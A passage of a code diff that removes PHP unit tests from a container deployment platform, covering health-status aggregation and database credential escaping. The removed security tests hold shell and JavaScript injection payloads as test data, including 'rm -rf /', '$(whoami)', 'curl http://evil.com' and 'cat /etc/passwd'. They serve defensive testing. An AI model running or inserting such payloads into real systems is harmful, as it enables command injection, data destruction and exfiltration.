str_repeat('a', 255); - - expect(strlen($scriptName))->toBe(255) - ->and(strlen($scriptName))->toBeLessThanOrEqual(255); -}); - -it('validates script name exceeding 255 characters should be invalid', function () { - $scriptName = str_repeat('a', 256); - - $isValid = strlen($scriptName) <= 255; - - expect($isValid)->toBeFalse() - ->and(strlen($scriptName))->toBeGreaterThan(255); -}); diff --git a/tests/Unit/ContainerHealthStatusTest.php b/tests/Unit/ContainerHealthStatusTest.php deleted file mode 100644 index 4db1b24d22..0000000000 --- a/tests/Unit/ContainerHealthStatusTest.php +++ /dev/null @@ -1,344 +0,0 @@ -makePartial(); - $server = Mockery::mock('App\Models\Server')->makePartial(); - $destination = Mockery::mock('App\Models\StandaloneDocker')->makePartial(); - - $destination->shouldReceive('getAttribute') - ->with('server') - ->andReturn($server); - - $application->shouldReceive('getAttribute') - ->with('destination') - ->andReturn($destination); - - $application->shouldReceive('getAttribute') - ->with('additional_servers') - ->andReturn(collect()); - - $server->shouldReceive('getAttribute') - ->with('id') - ->andReturn(1); - - $server->shouldReceive('isFunctional') - ->andReturn(true); - - // Create a container without health check (State.Health.Status is null) - $containerWithoutHealthCheck = [ - 'Config' => [ - 'Labels' => [ - 'com.docker.compose.service' => 'web', - ], - ], - 'State' => [ - 'Status' => 'running', - // Note: State.Health.Status is intentionally missing - ], - ]; - - // Mock the remote process to return our container - $application->shouldReceive('getAttribute') - ->with('id') - ->andReturn(123); - - // We can't easily test the private aggregateContainerStatuses method directly, - // but we can verify that the code doesn't default to 'unhealthy' - $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php'); - - // Verify the fix: health status should not default to 'unhealthy' - expect($aggregatorFile) - ->not->toContain("data_get(\$container, 'State.Health.Status', 'unhealthy')") - ->toContain("data_get(\$container, 'State.Health.Status')"); - - // Verify the health check logic - expect($aggregatorFile) - ->toContain('if ($health === \'unhealthy\') {'); -}); - -it('only marks containers as unhealthy when health status explicitly equals unhealthy', function () { - $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php'); - - // Verify the service checks for explicit 'unhealthy' status - expect($aggregatorFile) - ->toContain('if ($health === \'unhealthy\') {') - ->toContain('$hasUnhealthy = true;'); -}); - -it('handles missing health status correctly in GetContainersStatus', function () { - $getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php'); - - // Verify health status doesn't default to 'unhealthy' - expect($getContainersStatusFile) - ->not->toContain("data_get(\$container, 'State.Health.Status', 'unhealthy')") - ->toContain("data_get(\$container, 'State.Health.Status')"); - - // Verify it uses 'unknown' when health status is missing (now using colon format) - expect($getContainersStatusFile) - ->toContain('$healthSuffix = $containerHealth ?? \'unknown\';') - ->toContain('ContainerStatusAggregator'); // Uses the service -}); - -it('treats containers with running status and no healthcheck as not unhealthy', function () { - $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php'); - - // The logic should be: - // 1. Get health status (may be null) - // 2. Only mark as unhealthy if health status EXISTS and equals 'unhealthy' - // 3. Don't mark as unhealthy if health status is null/missing - - // Verify the condition explicitly checks for unhealthy - expect($aggregatorFile) - ->toContain('if ($health === \'unhealthy\')'); - - // Verify this check is done for running containers - expect($aggregatorFile) - ->toContain('} elseif ($state === \'running\') {') - ->toContain('$hasRunning = true;'); -}); - -it('tracks unknown health state in aggregation', function () { - // State machine logic now in ContainerStatusAggregator service - $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php'); - - // Verify that $hasUnknown tracking variable exists in the service - expect($aggregatorFile) - ->toContain('$hasUnknown = false;'); - - // Verify that unknown state is detected in status parsing - expect($aggregatorFile) - ->toContain("str(\$status)->contains('unknown')") - ->toContain('$hasUnknown = true;'); -}); - -it('preserves unknown health state in aggregated status with correct priority', function () { - // State machine logic now in ContainerStatusAggregator service (using colon format) - $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php'); - - // Verify three-way priority in aggregation: - // 1. Unhealthy (highest priority) - // 2. Unknown (medium priority) - // 3. Healthy (only when all explicitly healthy) - - expect($aggregatorFile) - ->toContain('if ($hasUnhealthy) {') - ->toContain("return 'running:unhealthy';") - ->toContain('} elseif ($hasUnknown) {') - ->toContain("return 'running:unknown';") - ->toContain('} else {') - ->toContain("return 'running:healthy';"); -}); - -it('tracks unknown health state in ContainerStatusAggregator for all applications', function () { - $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php'); - - // Verify that $hasUnknown tracking variable exists - expect($aggregatorFile) - ->toContain('$hasUnknown = false;'); - - // Verify that unknown state is detected when health is null or 'starting' - expect($aggregatorFile) - ->toContain('} elseif (is_null($health) || $health === \'starting\') {') - ->toContain('$hasUnknown = true;'); -}); - -it('preserves unknown health state in ContainerStatusAggregator aggregated status', function () { - $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php'); - - // Verify three-way priority for running containers in the service - expect($aggregatorFile) - ->toContain('if ($hasUnhealthy) {') - ->toContain("return 'running:unhealthy';") - ->toContain('} elseif ($hasUnknown) {') - ->toContain("return 'running:unknown';") - ->toContain('} else {') - ->toContain("return 'running:healthy';"); - - // Verify ComplexStatusCheck delegates to the service - $complexStatusCheckFile = file_get_contents(__DIR__.'/../../app/Actions/Shared/ComplexStatusCheck.php'); - expect($complexStatusCheckFile) - ->toContain('use App\\Services\\ContainerStatusAggregator;') - ->toContain('$aggregator = new ContainerStatusAggregator;') - ->toContain('$aggregator->aggregateFromContainers($relevantContainers);'); -}); - -it('preserves unknown health state in Service model aggregation', function () { - $serviceFile = file_get_contents(__DIR__.'/../../app/Models/Service.php'); - - // Service model delegates its state machine to ContainerStatusAggregator - expect($serviceFile) - ->toContain('use App\\Services\\ContainerStatusAggregator;') - ->toContain('$aggregator = new ContainerStatusAggregator;') - ->toContain('$aggregator->aggregateFromStrings($statusStrings);'); - - $aggregator = new ContainerStatusAggregator; - - // Unknown health must not be upgraded to healthy, and unhealthy must win over unknown - expect($aggregator->aggregateFromStrings(collect(['running:unknown'])))->toBe('running:unknown') - ->and($aggregator->aggregateFromStrings(collect(['running:healthy', 'running:unknown'])))->toBe('running:unknown') - ->and($aggregator->aggregateFromStrings(collect(['running:unknown', 'running:unhealthy'])))->toBe('running:unhealthy'); -}); - -it('handles starting state (created/starting) in GetContainersStatus', function () { - // State machine logic now in ContainerStatusAggregator service - $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php'); - - // Verify tracking variable exists - expect($aggregatorFile) - ->toContain('$hasStarting = false;'); - - // Verify detection for created/starting states - expect($aggregatorFile) - ->toContain("str(\$status)->contains('created') || str(\$status)->contains('starting')") - ->toContain('$hasStarting = true;'); - - // Verify aggregation returns starting status (colon format) - expect($aggregatorFile) - ->toContain('if ($hasStarting) {') - ->toContain("return 'starting:unknown';"); -}); - -it('handles paused state in GetContainersStatus', function () { - // State machine logic now in ContainerStatusAggregator service - $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php'); - - // Verify tracking variable exists - expect($aggregatorFile) - ->toContain('$hasPaused = false;'); - - // Verify detection for paused state - expect($aggregatorFile) - ->toContain("str(\$status)->contains('paused')") - ->toContain('$hasPaused = true;'); - - // Verify aggregation returns paused status (colon format) - expect($aggregatorFile) - ->toContain('if ($hasPaused) {') - ->toContain("return 'paused:unknown';"); -}); - -it('handles dead/removing states in GetContainersStatus', function () { - // State machine logic now in ContainerStatusAggregator service - $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php'); - - // Verify tracking variable exists - expect($aggregatorFile) - ->toContain('$hasDead = false;'); - - // Verify detection for dead/removing states - expect($aggregatorFile) - ->toContain("str(\$status)->contains('dead') || str(\$status)->contains('removing')") - ->toContain('$hasDead = true;'); - - // Verify aggregation returns degraded status (colon format) - expect($aggregatorFile) - ->toContain('if ($hasDead) {') - ->toContain("return 'degraded:unhealthy';"); -}); - -it('handles edge case states in ContainerStatusAggregator for all containers', function () { - $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php'); - - // Verify tracking variables exist in the service - expect($aggregatorFile) - ->toContain('$hasStarting = false;') - ->toContain('$hasPaused = false;') - ->toContain('$hasDead = false;'); - - // Verify detection for created/starting - expect($aggregatorFile) - ->toContain("} elseif (\$state === 'created' || \$state === 'starting') {") - ->toContain('$hasStarting = true;'); - - // Verify detection for paused - expect($aggregatorFile) - ->toContain("} elseif (\$state === 'paused') {") - ->toContain('$hasPaused = true;'); - - // Verify detection for dead/removing - expect($aggregatorFile) - ->toContain("} elseif (\$state === 'dead' || \$state === 'removing') {") - ->toContain('$hasDead = true;'); -}); - -it('handles edge case states in ContainerStatusAggregator aggregation', function () { - $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php'); - - // Verify aggregation logic for edge cases in the service - expect($aggregatorFile) - ->toContain('if ($hasDead) {') - ->toContain("return 'degraded:unhealthy';") - ->toContain('if ($hasPaused) {') - ->toContain("return 'paused:unknown';") - ->toContain('if ($hasStarting) {') - ->toContain("return 'starting:unknown';"); -}); - -it('handles edge case states in Service model', function () { - $serviceFile = file_get_contents(__DIR__.'/../../app/Models/Service.php'); - - // Service model delegates edge case handling to ContainerStatusAggregator - expect($serviceFile)->toContain('$aggregator->aggregateFromStrings($statusStrings);'); - - $aggregator = new ContainerStatusAggregator; - - expect($aggregator->aggregateFromStrings(collect(['created'])))->toBe('starting:unknown') - ->and($aggregator->aggregateFromStrings(collect(['starting'])))->toBe('starting:unknown') - ->and($aggregator->aggregateFromStrings(collect(['paused'])))->toBe('paused:unknown') - ->and($aggregator->aggregateFromStrings(collect(['dead'])))->toBe('degraded:unhealthy') - ->and($aggregator->aggregateFromStrings(collect(['removing'])))->toBe('degraded:unhealthy'); -}); - -it('appends :excluded suffix to excluded container statuses in GetContainersStatus', function () { - $getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php'); - - // Verify that we use the trait for calculating excluded status - expect($getContainersStatusFile) - ->toContain('CalculatesExcludedStatus'); - - // Verify that we use the trait to calculate excluded status - expect($getContainersStatusFile) - ->toContain('use CalculatesExcludedStatus;'); -}); - -it('skips containers with :excluded suffix in Service model non-excluded sections', function () { - $serviceFile = file_get_contents(__DIR__.'/../../app/Models/Service.php'); - - // Verify that we have exclude_from_status field handling - expect($serviceFile) - ->toContain('exclude_from_status'); -}); - -it('processes containers with :excluded suffix in Service model excluded sections', function () { - $serviceFile = file_get_contents(__DIR__.'/../../app/Models/Service.php'); - - // Verify that we handle excluded status - expect($serviceFile) - ->toContain(':excluded') - ->toContain('exclude_from_status'); -}); - -it('treats containers with starting health status as unknown in ContainerStatusAggregator', function () { - $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php'); - - // Verify that 'starting' health status is treated the same as null (unknown) - // During Docker health check grace period, the health status is 'starting' - // This should be treated as 'unknown' rather than 'healthy' - expect($aggregatorFile) - ->toContain('} elseif (is_null($health) || $health === \'starting\') {') - ->toContain('$hasUnknown = true;'); -}); diff --git a/tests/Unit/CoolifyTaskCleanupTest.php b/tests/Unit/CoolifyTaskCleanupTest.php deleted file mode 100644 index ad77a2e8cc..0000000000 --- a/tests/Unit/CoolifyTaskCleanupTest.php +++ /dev/null @@ -1,84 +0,0 @@ -hasMethod('failed'))->toBeTrue(); - - // Get the failed method - $failedMethod = $reflection->getMethod('failed'); - - // Read the method source to verify it dispatches events - $filename = $reflection->getFileName(); - $startLine = $failedMethod->getStartLine(); - $endLine = $failedMethod->getEndLine(); - - $source = file($filename); - $methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1)); - - // Verify the implementation contains event dispatch logic - expect($methodSource) - ->toContain('call_event_on_finish') - ->and($methodSource)->toContain('event(new $eventClass') - ->and($methodSource)->toContain('call_event_data') - ->and($methodSource)->toContain('Log::info'); -}); - -it('CoolifyTask failed method updates activity status to ERROR', function () { - $reflection = new ReflectionClass(CoolifyTask::class); - $failedMethod = $reflection->getMethod('failed'); - - // Read the method source - $filename = $reflection->getFileName(); - $startLine = $failedMethod->getStartLine(); - $endLine = $failedMethod->getEndLine(); - - $source = file($filename); - $methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1)); - - // Verify activity status is set to ERROR - expect($methodSource) - ->toContain("'status' => ProcessStatus::ERROR->value") - ->and($methodSource)->toContain("'error' =>") - ->and($methodSource)->toContain("'failed_at' =>"); -}); - -it('CoolifyTask failed method has proper error handling for event dispatch', function () { - $reflection = new ReflectionClass(CoolifyTask::class); - $failedMethod = $reflection->getMethod('failed'); - - // Read the method source - $filename = $reflection->getFileName(); - $startLine = $failedMethod->getStartLine(); - $endLine = $failedMethod->getEndLine(); - - $source = file($filename); - $methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1)); - - // Verify try-catch around event dispatch - expect($methodSource) - ->toContain('try {') - ->and($methodSource)->toContain('} catch (\Throwable $e) {') - ->and($methodSource)->toContain("Log::error('Error dispatching cleanup event"); -}); - -it('CoolifyTask constructor stores call_event_on_finish and call_event_data', function () { - $reflection = new ReflectionClass(CoolifyTask::class); - $constructor = $reflection->getConstructor(); - - // Get constructor parameters - $parameters = $constructor->getParameters(); - $paramNames = array_map(fn ($p) => $p->getName(), $parameters); - - // Verify both parameters exist - expect($paramNames) - ->toContain('call_event_on_finish') - ->and($paramNames)->toContain('call_event_data'); - - // Verify they are public properties (constructor property promotion) - expect($reflection->hasProperty('call_event_on_finish'))->toBeTrue(); - expect($reflection->hasProperty('call_event_data'))->toBeTrue(); -}); diff --git a/tests/Unit/DatabaseBackupSecurityTest.php b/tests/Unit/DatabaseBackupSecurityTest.php index f3df178d91..75867d3f38 100644 --- a/tests/Unit/DatabaseBackupSecurityTest.php +++ b/tests/Unit/DatabaseBackupSecurityTest.php @@ -50,27 +50,6 @@ test('database backup rejects command injection with newlines', function () { ->toThrow(Exception::class); }); -test('database backup escapes shell arguments properly', function () { - $database = "test'db"; - $escaped = escapeshellarg($database); - - expect($escaped)->toBe("'test'\\''db'"); -}); - -test('database backup escapes shell arguments with double quotes', function () { - $database = 'test"db'; - $escaped = escapeshellarg($database); - - expect($escaped)->toBe("'test\"db'"); -}); - -test('database backup escapes shell arguments with spaces', function () { - $database = 'test database'; - $escaped = escapeshellarg($database); - - expect($escaped)->toBe("'test database'"); -}); - test('database backup accepts legitimate database names', function () { expect(fn () => validateShellSafePath('postgres', 'database name')) ->not->toThrow(Exception::class); @@ -146,86 +125,6 @@ test('validateDatabasesBackupInput rejects injection in database name within mon ->toThrow(Exception::class); }); -// --- Credential escaping tests for database backup commands --- - -test('escapeshellarg neutralizes command injection in postgres password', function () { - $maliciousPassword = '"; rm -rf / #'; - $escaped = escapeshellarg($maliciousPassword); - - // The escaped value must be a single shell token that cannot break out - expect($escaped)->not->toContain("\n"); - expect($escaped)->toBe("'\"; rm -rf / #'"); - // When used in: -e PGPASSWORD=, the shell sees one token - $command = 'docker exec -e PGPASSWORD='.$escaped.' container pg_dump'; - expect($command)->toContain("PGPASSWORD='"); - expect($command)->not->toContain('PGPASSWORD=""'); -}); - -test('escapeshellarg neutralizes command injection in postgres username', function () { - $maliciousUser = 'admin$(whoami)'; - $escaped = escapeshellarg($maliciousUser); - - expect($escaped)->toBe("'admin\$(whoami)'"); - $command = "docker exec container pg_dump --username $escaped"; - // The $() should be inside single quotes, preventing execution - expect($command)->toContain("--username 'admin\$(whoami)'"); -}); - -test('escapeshellarg neutralizes command injection in mysql password', function () { - $maliciousPassword = 'pass" && curl http://evil.com #'; - $escaped = escapeshellarg($maliciousPassword); - - $command = "docker exec container mysqldump -u root -p$escaped db"; - // The password must be wrapped in single quotes - expect($command)->toContain("-p'pass\" && curl http://evil.com #'"); -}); - -test('escapeshellarg neutralizes command injection in mariadb password', function () { - $maliciousPassword = "pass'; whoami; echo '"; - $escaped = escapeshellarg($maliciousPassword); - - // Single quotes in the value get escaped as '\'' - expect($escaped)->toBe("'pass'\\''; whoami; echo '\\'''"); - $command = "docker exec container mariadb-dump -u root -p$escaped db"; - // Verify the command doesn't contain an unescaped semicolon outside quotes - expect($command)->toContain("-p'pass'"); -}); - -test('rawurlencode neutralizes shell injection in mongodb URI credentials', function () { - $maliciousUser = 'admin";$(whoami)'; - $maliciousPass = 'pass@evil.com/admin?authSource=admin&rm -rf /'; - - $encodedUser = rawurlencode($maliciousUser); - $encodedPass = rawurlencode($maliciousPass); - $url = "mongodb://{$encodedUser}:{$encodedPass}@container:27017"; - - // Special characters should be percent-encoded - expect($encodedUser)->not->toContain('"'); - expect($encodedUser)->not->toContain('$'); - expect($encodedUser)->not->toContain('('); - expect($encodedPass)->not->toContain('@'); - expect($encodedPass)->not->toContain('/'); - expect($encodedPass)->not->toContain('?'); - expect($encodedPass)->not->toContain('&'); - - // The URL should have exactly one @ (the delimiter) and the credentials percent-encoded - $atCount = substr_count($url, '@'); - expect($atCount)->toBe(1); -}); - -test('escapeshellarg on mongodb URI prevents shell breakout', function () { - // Even if internal_db_url contains malicious content, escapeshellarg wraps it safely - $maliciousUrl = 'mongodb://admin:pass@host:27017" && curl http://evil.com #'; - $escaped = escapeshellarg($maliciousUrl); - - $command = "docker exec container mongodump --uri=$escaped --gzip --archive > /backup"; - // The entire URI must be inside single quotes - expect($command)->toContain("--uri='mongodb://admin:pass@host:27017"); - expect($command)->toContain("evil.com #'"); - // No unescaped double quotes that could break the command - expect(substr_count($command, "'"))->toBeGreaterThanOrEqual(2); -}); - test('backup shell commands do not interpolate raw container names or backup paths', function () { $source = file_get_contents(__DIR__.'/../../app/Jobs/DatabaseBackupJob.php'); preg_match_all('/^.*(?:docker exec|mkdir -p |du -b |docker run -d).*$/m', $source, $matches); diff --git a/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php b/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php index f2a9350abe..769228bf4d 100644 --- a/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php +++ b/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php @@ -7,16 +7,6 @@ * via user-controlled DB username/password/database fields. The fix converts all affected * healthchecks to CMD exec-form arrays, which bypass the shell entirely. */ -dataset('malicious_db_inputs', [ - 'semicolon separator' => ['admin; id > /tmp/pwned; echo'], - 'command substitution $()' => ['admin$(id > /tmp/pwned)'], - 'backtick substitution' => ['admin`id > /tmp/pwned`'], - 'pipe operator' => ['admin | cat /etc/passwd'], - 'background operator' => ['admin & curl http://evil.com'], - 'output redirect' => ['admin > /tmp/evil.txt'], - 'newline injection' => ["admin\nid"], - 'null byte' => ["admin\0id"], -]); // ─── PostgreSQL ────────────────────────────────────────────────────────────── @@ -27,17 +17,6 @@ test('postgresql healthcheck uses CMD exec-form, not CMD-SHELL', function () { expect($source)->toContain("'CMD', 'psql'"); }); -test('postgresql healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) { - // Simulate what StartPostgresql now generates - $healthcheck = ['CMD', 'psql', '-U', $malicious, '-d', $malicious, '-c', 'SELECT 1']; - - expect($healthcheck[0])->toBe('CMD'); - expect($healthcheck[0])->not->toBe('CMD-SHELL'); - // Malicious value is isolated as a single argv element — no shell interprets it - expect($healthcheck)->toContain($malicious); - expect(is_array($healthcheck))->toBeTrue(); -})->with('malicious_db_inputs'); - // ─── KeyDB ──────────────────────────────────────────────────────────────────── test('keydb healthcheck uses CMD exec-form, not a CMD-SHELL string', function () { @@ -47,14 +26,6 @@ test('keydb healthcheck uses CMD exec-form, not a CMD-SHELL string', function () expect($source)->toContain("'CMD', 'keydb-cli'"); }); -test('keydb healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) { - $healthcheck = ['CMD', 'keydb-cli', '--pass', $malicious, 'ping']; - - expect($healthcheck[0])->toBe('CMD'); - expect($healthcheck)->toContain($malicious); - expect(is_array($healthcheck))->toBeTrue(); -})->with('malicious_db_inputs'); - // ─── Dragonfly ──────────────────────────────────────────────────────────────── test('dragonfly healthcheck uses CMD exec-form, not a CMD-SHELL string', function () { @@ -64,14 +35,6 @@ test('dragonfly healthcheck uses CMD exec-form, not a CMD-SHELL string', functio expect($source)->toContain("'CMD', 'redis-cli'"); }); -test('dragonfly healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) { - $healthcheck = ['CMD', 'redis-cli', '-a', $malicious, 'ping']; - - expect($healthcheck[0])->toBe('CMD'); - expect($healthcheck)->toContain($malicious); - expect(is_array($healthcheck))->toBeTrue(); -})->with('malicious_db_inputs'); - // ─── ClickHouse ─────────────────────────────────────────────────────────────── test('clickhouse healthcheck uses CMD exec-form, not a CMD-SHELL string', function () { @@ -81,14 +44,6 @@ test('clickhouse healthcheck uses CMD exec-form, not a CMD-SHELL string', functi expect($source)->toContain("'CMD', 'clickhouse-client'"); }); -test('clickhouse healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) { - $healthcheck = ['CMD', 'clickhouse-client', '--user', $malicious, '--password', $malicious, '--query', 'SELECT 1']; - - expect($healthcheck[0])->toBe('CMD'); - expect($healthcheck)->toContain($malicious); - expect(is_array($healthcheck))->toBeTrue(); -})->with('malicious_db_inputs'); - // ─── Verify unaffected databases still use their safe patterns ──────────────── test('mysql healthcheck already uses CMD exec-form (no regression)', function () { diff --git a/tests/Unit/DatabaseImport/CleanupDatabaseImportTest.php b/tests/Unit/DatabaseImport/CleanupDatabaseImportTest.php index 2141276364..0770af53d2 100644 --- a/tests/Unit/DatabaseImport/CleanupDatabaseImportTest.php +++ b/tests/Unit/DatabaseImport/CleanupDatabaseImportTest.php @@ -22,14 +22,11 @@ function importCleanupPayload(array $overrides = []): array ], $overrides); } -test('the finished event keeps the payload and does not import Server', function () { +test('the finished event keeps the payload', function () { $data = importCleanupPayload(['serverTmpPath' => '/tmp/database-import-op']); $event = new DatabaseImportFinished($data); - expect($event->data)->toBe($data) - ->and(file_get_contents(app_path('Events/DatabaseImportFinished.php'))) - ->not->toContain('instant_remote_process') - ->not->toContain('use App\Models\Server'); + expect($event->data)->toBe($data); }); test('the cleanup listener is queued and discovered', function () { diff --git a/tests/Unit/DatabaseSslCredentialEscapingTest.php b/tests/Unit/DatabaseSslCredentialEscapingTest.php deleted file mode 100644 index 7b2ecf927e..0000000000 --- a/tests/Unit/DatabaseSslCredentialEscapingTest.php +++ /dev/null @@ -1,207 +0,0 @@ -toContain('bash -c') - ->toContain('postgres') - ->toContain('chown'); -}); - -it('sets postgres SSL file ownership before replacing the database container', function () { - $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartPostgresql.php'); - - $permissionCommandPosition = strpos($source, '--entrypoint chown'); - $stopCommandPosition = strpos($source, 'dockerStopCommand'); - $startCommandPosition = strpos($source, 'docker-compose.yml up -d'); - - expect($permissionCommandPosition)->not->toBeFalse() - ->and($stopCommandPosition)->not->toBeFalse() - ->and($startCommandPosition)->not->toBeFalse() - ->and($permissionCommandPosition)->toBeLessThan($stopCommandPosition) - ->and($permissionCommandPosition)->toBeLessThan($startCommandPosition) - ->and($source)->toContain('/var/lib/postgresql/certs/server.crt < /dev/null') - ->and($source)->toContain('postgres:postgres /var/lib/postgresql/certs/server.key') - ->not->toContain('chown {$postgresUser}:{$postgresUser}'); -}); - -it('sets database SSL file ownership before replacing the container', function (string $action, string $owner, string $keyPath, string $lastCertificatePath) { - $source = file_get_contents(__DIR__."/../../app/Actions/Database/{$action}.php"); - - $permissionCommandPosition = strpos($source, '--entrypoint chown'); - $stopCommandPosition = strpos($source, 'dockerStopCommand'); - $startCommandPosition = strpos($source, 'docker-compose.yml up -d'); - - expect($permissionCommandPosition)->not->toBeFalse() - ->and($stopCommandPosition)->not->toBeFalse() - ->and($startCommandPosition)->not->toBeFalse() - ->and($permissionCommandPosition)->toBeLessThan($stopCommandPosition) - ->and($permissionCommandPosition)->toBeLessThan($startCommandPosition) - ->and($source)->toContain("{$lastCertificatePath} < /dev/null") - ->and($source)->toContain("{$owner} {$keyPath}"); -})->with([ - 'mysql' => ['StartMysql', 'mysql:mysql', '/etc/mysql/certs/server.key', '/etc/mysql/certs/server.crt'], - 'mariadb' => ['StartMariadb', 'mysql:mysql', '/etc/mysql/certs/server.key', '/etc/mysql/certs/server.crt'], - 'mongodb' => ['StartMongodb', 'mongodb:mongodb', '/etc/mongo/certs/server.pem', '/etc/mongo/certs/server.pem'], -]); - -it('advisory PoC postgres_user payload is contained by escapeshellarg in chown command', function () { - // Simulates a legacy row that bypassed validation - $maliciousUser = 'root; touch /tmp/pwned_rce; #'; - $escaped = escapeshellarg($maliciousUser); - - // escapeshellarg must wrap the entire payload in single quotes - // (semicolons inside single-quoted args are NOT shell metacharacters) - expect($escaped)->toBe("'root; touch /tmp/pwned_rce; #'"); - - $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key"); - - // The cmd contains the payload, but ONLY inside single-quoted segments — cannot break out. - // Verify the chown arg is never an unquoted bare ; — the payload is inside '...' - // The outer executeInDocker further escapes any single-quote chars for the host shell. - expect($cmd)->toContain('docker exec abc123 bash -c'); - - // Before fix: chown root; touch /tmp/pwned_rce; # ... (breaks out of chown, executes touch) - // After fix: chown 'root; touch /tmp/pwned_rce; #':'...' ... (literal arg to chown) - // The unescaped sequence "chown root;" must NOT appear. - expect($cmd)->not->toContain('chown root;'); -}); - -it('subshell payload in mysql_user is contained by escapeshellarg in chown command', function () { - $maliciousUser = 'a$(touch /tmp/pwn)b'; - $escaped = escapeshellarg($maliciousUser); - $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /etc/mysql/certs/server.crt"); - - // escapeshellarg wraps in single quotes — $() is not expanded inside single quotes - expect($escaped)->toBe("'a\$(touch /tmp/pwn)b'"); - - // The cmd must not contain an unquoted $( sequence — it must be inside single quotes - // If the sequence appears at all, it must be single-quoted (the quote precedes it). - expect($cmd)->not->toContain(' $(touch'); -}); - -it('subshell payload in postgres_user is contained by escapeshellarg in chown command', function () { - $maliciousUser = 'a$(touch /tmp/pwn_postgres)b'; - $escaped = escapeshellarg($maliciousUser); - $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key /var/lib/postgresql/certs/server.crt"); - - expect($escaped)->toBe("'a\$(touch /tmp/pwn_postgres)b'"); - expect($cmd)->not->toContain(' $(touch'); -}); - -it('semicolon payload in postgres_user is contained by escapeshellarg in chown command', function () { - $maliciousUser = 'root; touch /tmp/pwned_pg; #'; - $escaped = escapeshellarg($maliciousUser); - $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key /var/lib/postgresql/certs/server.crt"); - - expect($escaped)->toBe("'root; touch /tmp/pwned_pg; #'"); - expect($cmd)->not->toContain('chown root;'); -}); - -it('backtick payload in mysql_user is contained by escapeshellarg', function () { - $maliciousUser = 'user`id`'; - $escaped = escapeshellarg($maliciousUser); - $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /etc/mysql/certs/server.crt"); - - // escapeshellarg wraps the whole value in single quotes — backticks not expanded inside '' - expect($escaped)->toBe("'user`id`'"); - - // The unquoted bare backtick sequence `id` must not appear outside single-quoted context. - // Specifically, "chown user`id`" (unquoted) must not appear. - expect($cmd)->not->toContain('chown user`id`'); -}); - -// ── MongoDB JS init script JSON-escaping ────────────────────────────────────── - -it('json_encode prevents JS injection in mongo_initdb_database', function () { - $database = 'x"}); db.dropUser("admin"); //'; - $dbJson = json_encode($database, JSON_UNESCAPED_SLASHES); - - // The double-quotes in the payload MUST be escaped — they cannot close the JS string literal. - // json_encode escapes " as \" so the injected " cannot terminate the surrounding JS string. - expect($dbJson)->toContain('\\"'); - - // The resulting JSON literal, when embedded in JS, forms a valid quoted string. - // It starts and ends with the outermost " added by json_encode. - expect($dbJson)->toStartWith('"') - ->toEndWith('"'); - - // Verify the injected payload is present but neutralised (the " that would close the JS - // string is now escaped as \", preventing breakout). - expect($dbJson)->toContain('x\\"});'); -}); - -it('json_encode prevents JS injection in mongo_initdb_root_username', function () { - $username = 'admin", pwd: "", roles: [{role:"root", db:"admin"}]}); //'; - $userJson = json_encode($username, JSON_UNESCAPED_SLASHES); - - $content = 'db.createUser({user: '.$userJson.', pwd: "secret", roles: []});'; - - // The injected " that would close the JS string must be escaped as \" - expect($userJson)->toContain('\\"'); - - // The raw unescaped sequence admin" (with unescaped quote) must not appear in the JS - expect($content)->not->toContain('admin", pwd'); -}); - -it('json_encode safely encodes a clean mongo username', function () { - $username = 'mongouser'; - $userJson = json_encode($username, JSON_UNESCAPED_SLASHES); - - expect($userJson)->toBe('"mongouser"'); -}); - -it('json_encode safely encodes a mongo password with special chars', function () { - $password = 'P@ss!#word123'; - $pwdJson = json_encode($password, JSON_UNESCAPED_SLASHES); - - expect($pwdJson)->toBe('"P@ss!#word123"'); -}); - -// ── Healthcheck CMD exec-form structure (no shell parsing) ──────────────────── - -it('CMD exec-form healthcheck array does not concatenate user into a shell string', function () { - // The fix uses an array; each element is passed directly as argv — no shell parsing. - // Simulate the post-fix healthcheck array structure. - $user = "admin'; touch /tmp/pwn; #"; - $db = 'mydb'; - - $healthcheck = [ - 'CMD', - 'psql', - '-U', - $user, - '-d', - $db, - '-c', - 'SELECT 1', - ]; - - // The array form means each element is argv — no shell involved. - // The malicious user value is passed as a literal argument to psql, which rejects it. - // Key assertion: the test string is NOT collapsed into a shell command string. - expect($healthcheck[3])->toBe($user) - ->and($healthcheck[0])->toBe('CMD') - ->and(count($healthcheck))->toBe(8); - - // Sanity: if we joined with space it would be dangerous — array form avoids this. - $joinedDangerous = implode(' ', 